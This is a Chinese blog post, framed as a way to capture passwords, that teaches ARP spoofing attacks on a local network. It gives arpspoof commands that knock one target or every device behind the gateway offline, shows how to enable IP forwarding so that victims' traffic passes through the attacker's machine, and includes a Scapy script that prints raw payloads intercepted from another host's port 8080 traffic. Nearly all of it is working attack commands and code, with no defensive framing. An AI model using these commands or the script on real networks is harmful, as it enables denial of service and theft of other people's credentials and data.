关于linux上实现arp攻击截取密码

前言

这几天简单的研究了一下arp攻击,有一些进展,记录一下

环境准备

这里我是利用arpspoof 这个软件简单实现arp攻击,这个命令是属于dsniff 软件包中的
所以首先安装软件

sudo apt install dsniff

安装好后就可以攻击了

断网攻击

首先一个前提:你所攻击的对象必须和你在一个网关
linux查看网关命令

route -n

在这里插入图片描述
这里的10.50.20.254 就是我们的网关
然后对单一对象进行攻击

arpspoof -t 10.50.20.100 10.50.20.254  -i wlp3s0

这里的 -i指定的是网络设备名字,可以通过ifconfig 命令查看
那么上面这条命令就可以让10.50.20.100 这个ip上不了网

对所有同一网关下的所有设备进行攻击

arpspoof 10.50.20.254  -i wlp3s0

不指定-t就默认是指定所有ip
这样可以让所有与你统一网关下面的所有设备上不了网,除了你之外

拦截数据

让其他人上不了网很容易被察觉,所以接下来我们拦截数据
首先开启ipv4转发

echo 1 > /proc/sys/net/ipv4/ip_forward

这种修改是临时的,重启电脑后会会失效,永久修改可以更改 /etc/sysctl.conf 配置文件
在里面加一行

net.ipv4.ip_forward=1

一般配置文件里面有这一行,只需要取消注释即可

这种修改后,再次攻击后别人就不会断网了,你可以使用wireshark 对你对应的网络设备进行抓包,就可以获取到别人访问的和数据

其他

看见有一些文章拦截数据还要加一行

arpspoof -t  10.50.20.254 10.50.20.100  -i wlp3s0

也就是网关和攻击的ip调换位置,但其实这种是没有必要的,因为有些东西工具内部已经给你做好了(这里我懒得讲arp攻击的原理了,有兴趣的可以查查就知道这句写的意义了)

编写一个python脚本过滤用来获取数据

用wireshark查看拦截到的数据诸多不便,所以这里简单编写一个脚本用来过滤拦截到的数据

from scapy.all import *
import re

def pack_callback(packet):
    try:
    # print(packet['IP'].src)
        if packet[IP].dst=='10.10.10.4':
            try:
                s = str(packet[Raw].load)
               	print(s)
            except Exception as e:
                # print(e)
                pass

    except Exception  as e:
        pass
sniff(filter="tcp port 8080",prn=pack_callback,iface="wlp3s0",count=0)

这里只是给一个例子,具体需求可以根据需求具体修改,我相信都有这样的能力

posted @ 2019-11-05 10:28  Hello_wshuo  阅读(39)  评论(0编辑  收藏  举报